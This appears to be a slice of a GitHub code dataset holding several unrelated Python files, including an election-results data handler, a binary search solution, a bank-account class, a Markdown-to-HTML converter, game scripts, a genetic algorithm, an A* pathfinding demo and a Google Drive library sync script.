f\"{directory_path}/data/{self.election_id}/{self.office_id}/data_{self.geographic_unit_type}.csv\"\n\n def load_data(self, data):\n columns_to_return = [\"postal_code\", \"geographic_unit_fips\"]\n\n (data, more_columns) = self.estimandizer.add_estimand_results(data, self.estimands, self.historical)\n columns_to_return += more_columns\n\n self.shuffle_dataframe = data[self.shuffle_columns].copy()\n return data[columns_to_return].copy()\n\n def shuffle(self, seed=None, upweight={}, enforce=[]):\n \"\"\"\n Function that allows for random shuffling of geographic units with upweights for certain\n types of counties this makes those geographic units more likely to be picked.\n Also allows a specific ordering by enforcing which geographic units come first.\n seed: int\n upweight: dict of dicts, from category to upweight by to geographic unit identifier to weight\n e.g. {\"postal_code\": {\"AL\": 3, \"FL\": 5}, \"county_classification\": {\"urban\": 1000, \"rural\": 0.3}}\n this would result in urban counties in Alabama being upweighted by 3000\n enforce: list of geographic unit fips that enforce those units to come first\n the order of enforced first elements is random\n \"\"\"\n probabilities = np.ones((self.data.shape[0],))\n # if upweight is empty this forloop is skipped\n for category in upweight: # e.g. category == \"postal_code\"\n weight = upweight[category]\n for value in weight: # e.g. value == \"AL\"\n indices = self.data[self.shuffle_dataframe[category] == value].index\n probabilities[indices] = probabilities[indices] * weight[value]\n\n self.data = self.data.sample(frac=1, random_state=seed, weights=probabilities)\n\n # get indices of units that must come first\n mask = self.data.geographic_unit_fips.isin(enforce)\n first = self.data[mask]\n last = self.data[~mask]\n self.data = pd.concat([first, last]).reset_index(drop=True)\n\n def _convert_percent_to_n(self, percent, _round):\n frac = round(percent / 100.0, 2)\n if _round == \"up\":\n return math.ceil(frac * self.data.shape[0])\n if _round == \"down\":\n return math.floor(frac * self.data.shape[0])\n\n def get_percent_fully_reported(self, percent, _round=\"up\"):\n n = self._convert_percent_to_n(percent, _round)\n return self.get_n_fully_reported(n)\n\n def _include_reporting_unexpected(self):\n \"\"\"\n Changes data_reporting to include extra unexpected rows depending on unexpected_rows\n Does so by repeating randomly selected rows and changing the unit ids\n (does NOT change the ids of any of the higher level units or of results)\n \"\"\"\n # creates new ids by appending numbers to existing ids\n fake_ids = [str(i) for i in range(self.unexpected_rows)]\n fake_data = self.data_reporting.sample(frac=1).reset_index(drop=True).head(self.unexpected_rows)\n\n fake_data[\"geographic_unit_fips\"] = fake_data[\"geographic_unit_fips\"] + fake_ids\n\n self.data_reporting = pd.concat([self.data_reporting, fake_data])\n\n def get_n_fully_reported(self, n):\n \"\"\"\n Return n \"fully reported units\".\n Returns the first n units as fully reported, if data has been shuffled then random.\n \"\"\"\n expected_n = n - self.unexpected_rows\n self.data_reporting = self.data[:expected_n].copy()\n self.data_nonreporting = self.data[expected_n:].copy()\n\n for estimand in self.estimands:\n self.data_reporting[f\"raw_results_{estimand}\"] = self.data[f\"results_{estimand}\"]\n self.data_nonreporting[f\"raw_results_{estimand}\"] = self.data_nonreporting[f\"results_{estimand}\"]\n self.data_nonreporting[f\"results_{estimand}\"] = 0 # set these units to not reporting\n self.data_reporting[\"percent_expected_vote\"] = 100\n self.data_nonreporting[\"percent_expected_vote\"] = 0\n if self.unexpected_rows > 0:\n self._include_reporting_unexpected()\n\n self.current_reporting_data = pd.concat([self.data_reporting, self.data_nonreporting])\n return self.current_reporting_data\n","repo_name":"washingtonpost/elex-live-model","sub_path":"src/elexmodel/handlers/data/LiveData.py","file_name":"LiveData.py","file_ext":"py","file_size_in_byte":6801,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"82"} +{"seq_id":"31497136787","text":"\"\"\"\n基本思路就是用二分查找找出所有的,而不是在正常得二分查找,找出一个之后就停止\n期间,用left,right变量记录最右和最左。\n\"\"\"\n\n\nclass Solution:\n def searchRange(self, nums,target):\n\n def binarySearch(left,right,left_flag):\n\n while left <= right:\n mid = (left+right)//2\n if nums[mid] > target or (target == nums[mid] and left_flag):\n #就算查找成功,也让查找在左区间继续\n right = mid-1\n else:\n left = mid+1\n return left\n\n left_index = binarySearch(0,len(nums)-1,True)\n #要判断一下 是否left_index 就是查找的数字\n if left_index == len(nums) or nums[left_index] != target:\n return [-1,-1]\n\n return [left_index, binarySearch(0, len(nums)-1, False)-1 ]\n\nnums = [0,0,0,1,2,3]\ntarget = 0\nS = Solution()\nprint(S.searchRange(nums,target))","repo_name":"cdjasonj/Leetcode-python","sub_path":"在排序数组中查找元素的第一个位置和最后一个位置.py","file_name":"在排序数组中查找元素的第一个位置和最后一个位置.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36713410014","text":"from time import strftime\n\n\nclass Account:\n def __init__(self,account_number,account_name,bank_name):\n self.account_number=account_number\n self.account_name=account_name\n self.balance=0\n self.bank_name=bank_name\n self.deposits=[]\n self.withdrawals=[]\n self.datetime=strftime(\"%d/%m/%y %I:%M%P\")\n self.loan_balance=0\n \n def deposit(self,amount):\n if amount<=0:\n return \"Deposit must be positive amount.\"\n else:\n self.balance+=amount\n self.deposits.append({'date':self.datetime,'amount':amount,'narration':'deposit'})\n return f\"Hello your current balance is Ksh.{self.balance} and the withdrawal times are {self.deposits}\"\n \n def withdraw(self,amount_minus):\n self.transaction=100\n if amount_minus+self.transaction <100:\n return \"Withdraw should be greater than 100\"\n elif amount_minus>self.balance:\n return f\"Your balance is ksh{self.balance},you can't withdraw {amount_minus}\" \n else:\n self.balance-=amount_minus+self.transaction\n self.deposits.append({'date':self.datetime,'amount':amount_minus,'narration':'withdraw'})\n return f\"Hello your balance ksh.{self.balance}\" \n \n def deposit_statements(self):\n for x in self.deposits: \n print (x,end=\"\\n\")\n \n def withdrawal_statements(self):\n for y in self.withdrawals: \n print (y,end=\"\\n\") \n \n def current_balance(self):\n return self.balance \n \n def full_statement(self):\n statement=self.deposits + self.withdrawals\n for x in statement:\n print (x)\n \n def borrow(self,amount):\n counts=0\n for i in self.deposits:\n counts+=i['amount']\n if len(self.deposits)<10:\n return \"You cannot get a loan\"\n elif amount<100:\n return f\"You have borrowed {amount} loan had to be more than a hundred\"\n elif amount>(counts//3):\n return f\"{amount}.ksh is denied you cannot withdraw\"\n elif self.balance==0:\n return \"You have {self.balance}.ksh you cannot get a loan\"\n else:\n self.loan_balance+=amount\n total=self.loan_balance+(amount*0.03) \n self.balance+=amount\n return f\"You can borrow {amount} your new account balance is {self.balance}. Your loan balance is {self.loan_balance}. You will pay back {total}\"\n \n def loan_repayment(self,repay):\n if repay < self.loan_balance:\n self.loan_balance-=repay\n return f\"You have repaid {repay} your outstanding loan is {self.loan_balance}\"\n elif repay==self.loan_balance:\n self.loan_balance-=repay\n return f\"You have repaid {repay}.Your outstanding loan is {self.loan_balance}\" \n elif repay > self.loan_balance:\n overpayment=repay-self.loan_balance\n self.balance+=overpayment\n remainder=repay-overpayment\n self.loan_balance-=remainder\n return f\"Your loan balance is {self.loan_balance}.Your account balance {self.balance}\" \n \n \n def transfer(self,amount,account_one):\n if amount <=0:\n return \"You cannot transfer {amount}\" \n elif amount> self.balance:\n \n return f\"You have insuffient funds to transfer {amount} to {self.account_name} your balance is {self.balance}\" \n else:\n self.balance-=amount\n account_one.balance+=amount \n return f\"You have transfered {amount} to {account_one.account_name}\" \n\n \n","repo_name":"Sakina-IssaNoha/python-ass2","sub_path":"bank.py","file_name":"bank.py","file_ext":"py","file_size_in_byte":3677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20681370475","text":"from thingtalk.models.thing import Thing\nfrom thingtalk import Property, Value\nfrom .mixins import ZigbeeActionMixin\n\n\ndef vendor():\n return Property(\n \"vendor\",\n Value(\"\"),\n metadata={\n \"@type\": \"VendorProperty\",\n \"title\": \"vendor\",\n \"type\": \"string\",\n \"description\": \"vendor of device\",\n },\n )\n\n\ndef availability():\n return Property(\n \"availability\",\n value=\"online\",\n metadata={\n \"@type\": \"EnumProperty\",\n \"title\": \"availability\",\n \"type\": \"string\",\n \"enum\": [\"online\", \"offline\"],\n \"description\": \"availability of zigbee device\",\n },\n )\n\n\nclass Zigbee(ZigbeeActionMixin, Thing):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n \"\"\" self.add_available_action(Delete)\n self.add_property(linkquality())\n self.add_property(vendor()) \"\"\"\n self.add_property(availability())\n self.add_property(vendor())\n","repo_name":"hidaris/webthing-zigbee","sub_path":"zigbee_adapter/device.py","file_name":"device.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"3550508978","text":"# Programme de conversion de code markdown en HTML\n\nimport argparse\nimport os\nfrom pathlib import Path\n\nparser = argparse.ArgumentParser(\n description=\"Programme de conversion de code markdown en HTML\"\n)\nparser.add_argument(\n \"-i\",\n \"--input-directory\",\n help=\"Dossier source contenant les fichiers markdowns qui seront convertis\",\n)\nparser.add_argument(\n \"-o\",\n \"--output-directory\",\n help=\"Dossier destinataire qui va contenir les fichiers HTML qui seront générés\",\n)\nargs = parser.parse_args()\n\ndossier_markdown = args.input_directory\ndossier_html = args.output_directory\n\nfichiers_markdown = Path(dossier_markdown).glob(\"**/*.markdown\")\nfichiers_html = {}\n\n\nfor fichier_markdown in fichiers_markdown:\n with open(fichier_markdown, \"r\", encoding=\"utf-8\") as mon_fichier_markdown:\n old_ligne = \"\"\n contenu_html = \"\"\n for ligne in mon_fichier_markdown:\n # Titre\n if \"#\" in ligne:\n compteur_diese = ligne.count(\"#\")\n ligne = ligne.replace(\"#\", \"\".format(compteur_diese), 1)\n ligne = ligne.replace(\"#\", \"\")[:-1] + \"\\n\".format(compteur_diese)\n\n # URLs\n if \"http\" in ligne:\n index_debut_url = ligne.find(\"http\")\n index_fin_url = ligne[index_debut_url:].find(\" \")\n if index_fin_url != -1:\n index_fin_url += index_debut_url\n adresse_url = ligne[index_debut_url:index_fin_url]\n expression_url = \"\" + adresse_url + \"\"\n ligne = ligne[:index_debut_url] + expression_url + ligne[index_fin_url:]\n print(\n \"EXPRESSION URL :\",\n adresse_url,\n \"INDEX FIN URL :\",\n index_fin_url,\n \"LAST CARAC :\",\n ligne[index_fin_url],\n )\n\n if \"*\" in ligne:\n # Liste\n if ligne[0] == \"*\" and ligne.count(\"*\") == 1:\n if old_ligne == \"\" or \"
  • \" not in old_ligne:\n contenu_html += \"
      \\n\"\n ligne = \"
    • \" + ligne[2:-1] + \"
    • \\n\"\n # Mot important\n etat_balise = (\n False\n ) # Booléen qui représentera l'état de la balise à mettre (False : ouvrante - True : fermante)\n while \"*\" in ligne:\n index_balise = ligne.find(\"*\")\n if etat_balise:\n balise = \"\"\n etat_balise = False\n else:\n balise = \"\"\n etat_balise = True\n ligne = ligne[:index_balise] + balise + ligne[index_balise + 1 :]\n # Fermeture de liste\n if ligne.count(\"
    • \") == 0 and old_ligne != \"\" and \"
    • \" in old_ligne:\n contenu_html += \"
    \\n\"\n\n contenu_html += ligne\n old_ligne = ligne\n fichiers_html[fichier_markdown] = contenu_html\n\ndossier_html = os.path.abspath(dossier_html)\nos.chdir(dossier_html)\nprint(\"Dossier markdown :\", str(dossier_html))\nfor nom_fichier, contenu_fichier in fichiers_html.items():\n nom_fichier = (\n str(nom_fichier)[str(nom_fichier).find(\"/\") + 1 : str(nom_fichier).find(\".\")]\n + \".html\"\n )\n\n with open(nom_fichier, \"w\", encoding=\"utf-8\") as fichier_html:\n fichier_html.write(contenu_fichier)\n print(\"Génération du fichier\", nom_fichier)","repo_name":"DvAx/Markdown_html_converter","sub_path":"conversion_markdown_HTML.py","file_name":"conversion_markdown_HTML.py","file_ext":"py","file_size_in_byte":3587,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"14696878972","text":"# This is my first try at a tic tac toe game with a 1v1 system\r\nimport random\r\nfrom os import system\r\nimport time\r\nboard = []\r\n\r\n\r\ndef setup():\r\n global board\r\n board = [' ']*10\r\n\r\n\r\ndef get_letter():\r\n letter = input(\"What letter do you want to be? (X/O): \").upper()\r\n while not (letter == \"X\" or letter == \"O\"):\r\n letter = input(\"Either the letter 'x' or 'o': \").upper()\r\n return letter\r\n\r\n\r\ndef det_first_player():\r\n choice = get_letter()\r\n if choice == \"X\":\r\n global player1\r\n player1 = \"X\"\r\n system('cls')\r\n print(\"You go first!\")\r\n time.sleep(1)\r\n get_player_move()\r\n else:\r\n global player2\r\n player2 = \"O\"\r\n system('cls')\r\n print(\"Computer goes first!\")\r\n time.sleep(1)\r\n\r\n\r\ndef show_board():\r\n print(' | |')\r\n print(' ' + board[7] + ' | ' + board[8] + ' | ' + board[9])\r\n print(' | |')\r\n print('-----------')\r\n print(' | |')\r\n print(' ' + board[4] + ' | ' + board[5] + ' | ' + board[6])\r\n print(' | |')\r\n print('-----------')\r\n print(' | |')\r\n print(' ' + board[1] + ' | ' + board[2] + ' | ' + board[3])\r\n print(' | |')\r\n\r\n\r\ndef get_player_move():\r\n show_board()\r\n valid = False\r\n while valid is not True:\r\n move = input(\"Where do want to move on? (1-9)\")\r\n if move not in '1 2 3 4 5 6 7 8 9'.split():\r\n print('You can only move on squares 1 to 9')\r\n elif not is_space_free(move) is True:\r\n print('This square has already been filled')\r\n else:\r\n valid = True\r\n else:\r\n make_move(\"X\", int(move))\r\n\r\n\r\ndef is_space_free(number):\r\n if board[int(number)] != \" \":\r\n return False\r\n else:\r\n return True\r\n\r\n\r\ndef make_move(player, move):\r\n board.pop(move)\r\n board.insert(move, player)\r\n show_board()\r\n get_comp_move()\r\n\r\nsetup()\r\n\r\n\r\nget_player_move()\r\n\r\n\r\ndef check_won(bo, le):\r\n return ((bo[7] == le and bo[8] == le and bo[9] == le) or # across the top\r\n (bo[4] == le and bo[5] == le and bo[6] == le) or # across the middle\r\n (bo[1] == le and bo[2] == le and bo[3] == le) or # across the bottom\r\n (bo[7] == le and bo[4] == le and bo[1] == le) or # down the left side\r\n (bo[8] == le and bo[5] == le and bo[2] == le) or # down the middle\r\n (bo[9] == le and bo[6] == le and bo[3] == le) or # down the right side\r\n (bo[7] == le and bo[5] == le and bo[3] == le) or # diagonal\r\n (bo[9] == le and bo[5] == le and bo[1] == le))\r\n\r\n\r\ndef is_board_full():\r\n for i in range(0, 10):\r\n if is_space_free(i):\r\n return False\r\n else:\r\n return True\r\n","repo_name":"mei0016/python-projects","sub_path":"tictactoe/tictactoe - 1v1.py","file_name":"tictactoe - 1v1.py","file_ext":"py","file_size_in_byte":2738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20289001611","text":"import numpy as np\nimport random\nimport matplotlib.pyplot as plt\n\nN_OF_GAMES_TO_PLAY = 100\nP_C = 0.5 # probability of crossover\nP_M = 0.001 # probability of mutation\nN_GENERATIONS = 1000 # number of generations\nN_INDIVIDUALS = 50 # number of individuals\n\ndef initialize(n):\n return np.array([np.random.randint(2, size=(70,)) for i in range(0, n)])\n\ndef get_move_chromosome(chromosome, opponent_moves = [], my_moves = []):\n if len(opponent_moves) == 0:\n return random.choice(range(0,2))\n if len(opponent_moves) == 1:\n return chromosome[64 + opponent_moves[0]]\n if len(opponent_moves) == 2:\n return chromosome[66 + 2*opponent_moves[0] + opponent_moves[1]]\n else:\n return chromosome[my_moves[0]*32 + opponent_moves[0]*16 + my_moves[1]*8 + opponent_moves[1]*4 + my_moves[2]*2 + opponent_moves[2]]\n\ndef get_move_tit_for_tat(chromosome_last_move = -1):\n if chromosome_last_move == -1:\n return 1\n return chromosome_last_move\n\ndef get_score_chromosome(chromosome_move, tit_for_tat_move):\n if chromosome_move == 0 and tit_for_tat_move == 0:\n return 1\n if chromosome_move == 0 and tit_for_tat_move == 1:\n return 3\n if chromosome_move == 1 and tit_for_tat_move == 0:\n return 0\n return 6\n\ndef f(chromosome):\n # Evaluate the fitness value of a given chromosome/strategy\n score = 0\n tit_for_tat_moves = []\n chromosome_moves = []\n for i in range(0, N_OF_GAMES_TO_PLAY):\n if i == 0:\n tit_for_tat_moves.append(get_move_tit_for_tat())\n chromosome_moves.append(get_move_chromosome(chromosome))\n else:\n tit_for_tat_move = get_move_tit_for_tat(chromosome_moves[-1])\n chromosome_move = get_move_chromosome(chromosome, tit_for_tat_moves, chromosome_moves)\n tit_for_tat_moves.append(tit_for_tat_move)\n chromosome_moves.append(chromosome_move)\n if i > 2:\n tit_for_tat_moves.pop(0)\n chromosome_moves.pop(0)\n score += get_score_chromosome(chromosome_moves[-1], tit_for_tat_moves[-1])\n return N_OF_GAMES_TO_PLAY*6 - score\n\ndef evaluate(P_t):\n return np.array([f(P_t[i]) for i in range(0, len(P_t))])\n\ndef select(P_t, fitness_values):\n # Implements roulette wheel with slots\n F = sum(fitness_values)\n p_i = fitness_values/float(F)\n q_i = np.array([sum(p_i[0:i]) for i in range(1, len(p_i)+1)])\n P_t1 = np.array([P_t[np.argmax(q_i>=random.uniform(0, 1))] for i in range(0, len(P_t))])\n return P_t1\n\ndef crossover(P_t, p_c):\n idx_crossover = np.array([i for i in range(0, len(P_t)) if random.uniform(0, 1) < p_c])\n if len(idx_crossover)%2 == 1:\n idx_crossover = np.delete(idx_crossover, random.choice(range(0, len(idx_crossover))))\n np.random.permutation(idx_crossover)\n for i in range(0, len(idx_crossover), 2):\n idx_1 = idx_crossover[i]\n idx_2 = idx_crossover[i+1]\n m = len(P_t[0])\n pos = random.choice(range(0, m-2))\n tmp = P_t[idx_1][pos+1:].copy()\n P_t[idx_1][pos+1:] = P_t[idx_1+1][pos+1:]\n P_t[idx_1+1][pos+1:] = tmp\n\ndef mutation(P_t, p_m):\n for i,chromosome in enumerate(P_t):\n for j,gene in enumerate(chromosome):\n if random.uniform(0, 1) < p_m:\n P_t[i][j] = (gene + 1) % 2\n\ndef alter(P_t, p_c, p_m):\n crossover(P_t, p_c)\n mutation(P_t, p_m)\n\ndef genetic_algorithm(n, n_generations, p_c, p_m):\n t = 0\n P_t = initialize(n)\n fitness_values = evaluate(P_t)\n average_fitness_value = []\n average_fitness_value.append(sum(fitness_values)/float(len(fitness_values)))\n best_chromosome = P_t[np.argmax(fitness_values)]\n best_chromosome_fitness_value = max(fitness_values)\n for t in range(1, n_generations):\n P_t = select(P_t, fitness_values)\n alter(P_t, p_c, p_m)\n fitness_values = evaluate(P_t)\n average_fitness_value.append(sum(fitness_values)/float(len(fitness_values)))\n if best_chromosome_fitness_value < max(fitness_values):\n best_chromosome_fitness_value = max(fitness_values)\n best_chromosome = P_t[np.argmax(fitness_values)]\n return average_fitness_value, best_chromosome, best_chromosome_fitness_value\n\naverage_fitness_value, best_chromosome, best_chromosome_score = genetic_algorithm(N_INDIVIDUALS, N_GENERATIONS, P_C, P_M)\nfig = plt.figure()\nax = fig.add_subplot(1,1,1)\nax.set_xlabel('generation')\nax.set_ylabel('average fitness value')\nax.plot(range(0,N_GENERATIONS), average_fitness_value)\nplt.savefig(\"average-fitness-value.png\")\n\nchromosome_repr = \"[ \"\nfor gene in best_chromosome:\n chromosome_repr += str(gene) + \" \"\nchromosome_repr += \"]\"\nprint(\"Best chromosome: \" + chromosome_repr)\nprint(\"Best chromosome fitness value: \" + str(best_chromosome_score))","repo_name":"riccardobucco/exercises-optimization-UB","sub_path":"ex10/Scripts/genetic_algorithm.py","file_name":"genetic_algorithm.py","file_ext":"py","file_size_in_byte":4782,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"4412575887","text":"# 제일 아래층부터 위층으로 올라가면서\n# arr[i][j]와 arr[i][j+1] 둘 중에 큰 값을\n# arr[i-1][j]에 누적시키는 것을 반복하면 제일 꼭대기층 arr[0][0]이 정답이 된다.\n# 역순 접근방식이라는걸 떠올리기가 어려웠음\n\ndef solution():\n N = int(input())\n layers = [ list(map(int, input().split())) for _ in range(N) ]\n \n for i in range(N-1, 0, -1):\n #i: 몇번째 layer인지\n for j in range(len(layers[i])-1):\n if layers[i][j]>layers[i][j+1]:\n layers[i-1][j] += layers[i][j]\n else:\n layers[i-1][j] += layers[i][j+1]\n print(layers[0][0])\n \n\nif __name__==\"__main__\":\n solution()\n","repo_name":"MihwanYu/Algorithm","sub_path":"Baekjoon/p1932.py","file_name":"p1932.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26789521202","text":"from __future__ import print_function\nimport json\nfrom googleapiclient.discovery import build\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\nimport os\n\n# If modifying these scopes, delete the file token.json.\nSCOPES = 'https://www.googleapis.com/auth/drive'\n\n\ndef main():\n \"\"\"Calibre Library Synchronization\"\"\"\n store = file.Storage('token.json')\n creds = store.get()\n if not creds or creds.invalid:\n flow = client.flow_from_clientsecrets('credentials.json', SCOPES)\n creds = tools.run_flow(flow, store)\n service = build('drive', 'v3', http=creds.authorize(Http()))\n\n # Check if user has a calibre_sync_library folder on their root GDrive\n\n # Example\n # Call the Drive v3 API\n # calibre_sync_remote_file_id = get_remote_sync_file_id()\n # library_name = input(\"Enter the name of your calibre_sync_library: \")\n\n # read user data\n with open('data.json') as json_file:\n data = json.load(json_file)\n\n # Check for remote library using name\n if data['library_name'] == \"\":\n data['library_name'] = input(\"What is the name of your library?: \")\n\n results = service.files().list(\n q=\"name contains \"+\"'\"+data['library_name']+\"'\",\n fields=\"nextPageToken, files(id, name)\").execute()\n items = results.get('files', [])\n\n # Read local library\n if not data['local_library_path']:\n data['local_library_path'] = input(\"What is the full path to your Calibre Library?: \")\n\n data['local_library'] = read_local_library(data['local_library_path'])\n\n # if remote library does not exist or has no files\n if not items:\n # ask user to create remote library folder\n print('No files found. Would you like to create a new calibre backup?')\n if input(\"(yes/no): \") == \"yes\":\n # create blank library in root GDrive folder\n file_metadata = {\n 'name': data['library_name'],\n 'mimeType': 'application/vnd.google-apps.folder'\n }\n library = service.files().create(body=file_metadata, fields='id').execute()\n data['remote_library_id'] = library.get('id')\n\n # push all files in local calibre library to remote library\n\n else:\n print(\"See ya!\")\n else:\n # if remote library exists but has not been accessed\n if data['remote_library_id'] == \"\":\n # search for remote library (assumes unique calibre library name)\n library = items[0]\n print(\"Library Found\")\n data['remote_library_id'] = library.get('id')\n print(data['remote_library_id'])\n\n # if remote library exists and has been accessed\n else:\n library = service.files().list(\n q=\"'\" + data['remote_library_id'] + \"'\" + \" in parents\"\n ).execute()\n authors = library.get('files', [])\n\n # for each item in remote library\n for author in authors:\n # if it is a folder\n if author['mimeType'] == 'application/vnd.google-apps.folder':\n # retrieve works by author\n author_works = service.files().list(\n q=\"'\"+author['id']+\"' in parents\"\n ).execute()\n books = author_works.get('files', [])\n # for each book by the author\n for book in books:\n # if it is a folder\n if book['mimeType'] == 'application/vnd.google-apps.folder':\n # check book name against local library\n continue\n\n # if book does not exist in remote library\n # push book to remote library\n\n # write variables to json\n with open('data.json', 'w') as outfile:\n json.dump(data, outfile)\n\n\ndef read_local_library(path):\n local_library = {}\n for author in os.listdir(path):\n if os.path.isdir(path+\"/\"+author):\n for book in os.listdir(path+\"/\"+author):\n local_library[author] = book\n return local_library\n\nif __name__ == '__main__':\n main()\n","repo_name":"dtice/calibre-sync","sub_path":"quickstart.py","file_name":"quickstart.py","file_ext":"py","file_size_in_byte":4186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70100277709","text":"import pygame\n\n\nclass Bixin(pygame.sprite.Sprite):\n ve = 5\n\n def __init__(self, *groups):\n\n super().__init__(*groups)\n self.image = pygame.image.load('data/bixin_b.png')\n self.image = pygame.transform.scale(self.image, [100, 100])\n self.rect = pygame.Rect(50, 170, 100, 100)\n\n def update(self):\n\n if self.rect.x >= 400:\n self.ve = -2\n elif self.rect.x <= 50:\n self.ve = 2\n self.rect.x += self.ve\n","repo_name":"GuilhermeSilvaCarpi/pyGame-ensaios","sub_path":"1 pyGame uniday studio/bixin_b.py","file_name":"bixin_b.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22364221024","text":"from collections import deque\nimport numpy as np\nfrom tkinter import *\n\n################\n# This is the same as a_star.py just for the 2nd part of the assignment\n# The same comments apply from the previous files where the code is the same. Additional \n# comments are added where there is new code\n###############\n\nclass Node():\n \"\"\"\n This class represents one node on the board e.g ONE cell.\n This makes it easier to keep track of coordinates, symbols, \n f,g,h values, neighbors and previous node i.e the parent node\n \"\"\"\n def __init__(self, x, y, symbol, cost):\n self.x = x\n self.y = y\n self.symbol = symbol\n self.f = 0\n self.g = 0\n self.h = 0\n self.cost = cost\n self.neighbors = []\n self.previous = None\n\n def __str__(self):\n return self.symbol\n\n def add_neighbors(self, board):\n numrows = len(board[0])\n numcols = len(board)\n if self.y >= 1:\n north = board[self.y-1][self.x]\n self.neighbors.append(north)\n if self.y < numcols-2:\n # Use minus 2 cuz there is an empty line at the end of all the boards that I didnt take into account when loading \n south = board[self.y + 1][self.x]\n self.neighbors.append(south)\n if self.x >= 1:\n west = board[self.y][self.x-1]\n self.neighbors.append(west)\n if self.x < numrows-1:\n east = board[self.y][self.x+1]\n self.neighbors.append(east)\n\n# A dictionary with the symbol <--> cost relationship\ncost_dict = {\n \"A\": 0,\n \"B\": 0,\n \"w\": 100,\n \"m\": 50,\n \"f\": 10,\n \"g\": 5,\n \"r\": 1}\ncolor_dict = {\n \"▪\": \"yellow\",\n \"A\": \"deep pink\",\n \"B\": \"deep pink\",\n \"w\": \"SteelBlue1\",\n \"m\": \"ivory4\",\n \"f\": \"SpringGreen4\",\n \"g\": \"SeaGreen1\",\n \"r\": \"slate gray\"}\n\ndef find_start_and_end(arr):\n \"\"\"\n Finds the start and end node.\n Will loop through and array and find the Nodes with the symbol A and one with the symbol B\n \"\"\"\n start = None\n end = None\n for i, line in enumerate(arr):\n for j, node in enumerate(line):\n if node.symbol is 'A':\n start = node\n if node.symbol is 'B':\n end = node\n return start, end\n \ndef board_loader(board):\n \"\"\"\n Loads the board into an array.\n Input: Name of the file e.g a .txt file representing the board game\n \"\"\"\n path = \"./boards/\"+board\n text_file = open(path, \"r\")\n temp = text_file.read().split('\\n')\n lines = []\n for line in temp:\n wlist = list(line)\n lines.append(wlist)\n\n return lines\n\ndef make_board_into_nodes(arr):\n \"\"\"\n Turns 2D array of symbols into a 2D array of Node objects\n This will be used as the board in the A* search algorithm \n Input: A 2D array of symbols\n \"\"\"\n board = arr\n for i, line in enumerate(arr):\n for j, symbol in enumerate(line):\n node = Node(j, i, symbol, cost_dict[symbol])\n board[i][j] = node\n \n for i, line in enumerate(board):\n for j, node in enumerate(line):\n node.add_neighbors(board)\n return board\n\ndef redraw_board(arr):\n \"\"\"\n This function was used to print the new board with updated node symbols\n to represent the path to the console. But I changed to GUI visualization later in \n development\n Just turns a board of nodes into a textual representation again and prints each line \n to console for visualisation. \n \"\"\" \n string = \"\" \n for i, line in enumerate(arr):\n string = \"\"\n for j, node in enumerate(line):\n string += node.__str__()\n print(string)\n\ndef calculate_manhattan(node_a, node_b):\n \"\"\"\n Calculates the Manhattan distance between two nodes\n \"\"\"\n return (abs(node_a.x - node_b.x) + abs(node_a.y - node_b.y))\n\n\n\ndef a_star(start, end, board):\n \"\"\"\n The A* algorithm. THIS VERSION INCLUDES DIFFERENT COSTS PER NODE\n Input: Starting node, end node(goal state) and the board (board of nodes). \n This algorithm doesnt return the path but draws it at the end. \n \"\"\"\n board_n = board\n closed_set = deque()\n open_set = deque()\n open_set.append(start)\n\n path = list()\n\n while open_set:\n lowest_f_index = 0\n for i, node in enumerate(open_set):\n if open_set[i].f < open_set[lowest_f_index].f:\n lowest_f_index = i\n # Adds an additional check in case the f values are similar. Then we compare the g score instead\n # and find the lowest\n if open_set[i].f == open_set[lowest_f_index].f:\n if open_set[i].g < open_set[lowest_f_index].g:\n lowest_f_index = i\n\n current_node = open_set[lowest_f_index]\n\n if current_node == end:\n tmp = current_node\n path.append(tmp)\n while tmp.previous:\n path.append(tmp.previous)\n tmp = tmp.previous\n for elem in path[1:-1]: \n elem.symbol = '▪'\n draw_4k(board_n, wait = True)\n\n open_set.remove(current_node)\n closed_set.append(current_node)\n\n neighbors = current_node.neighbors\n for nb in neighbors:\n if nb in closed_set: #Doesnt check walls here since there is no walls\n continue\n \n tmp_g = current_node.g + nb.cost # Adds the cost of the neighbor cell to the tentative g score instead of just 1\n\n if nb not in open_set:\n open_set.append(nb)\n \n elif tmp_g >= nb.g:\n continue\n\n nb.previous = current_node \n nb.g = tmp_g \n nb.h = calculate_manhattan(nb, end)\n nb.f = nb.g + nb.h\n\ndef draw_4k(board, wait = False):\n root = Tk()\n for i, line in enumerate(board):\n for j, symbol in enumerate(line):\n label = Label(root, text = symbol.symbol)\n label.config(bg=color_dict[symbol.symbol])\n label.grid(row=i, column=j, sticky=\"nsew\")\n if wait:\n root.mainloop()\n else:\n root.update_idletasks()\n root.update()\n\ndef main():\n board_text = board_loader(\"board-2-4.txt\")\n board = make_board_into_nodes(board_text)\n start, end = find_start_and_end(board)\n draw_4k(board)\n a_star(start,end,board)\n\n\nif __name__ == '__main__':\n main()\n\n ","repo_name":"Imingen/ntnu","sub_path":"ai-intro/asgn2/a_star_2.py","file_name":"a_star_2.py","file_ext":"py","file_size_in_byte":6579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41048522641","text":"from Food import Food\n\nprint()\n\n\ndef buildMenu(names, values, calories):\n '''\n :param names: list of str of length x\n :param values: list of int of length x\n :param calories: list of int of length x\n :return: list of appended names, values and calories\n 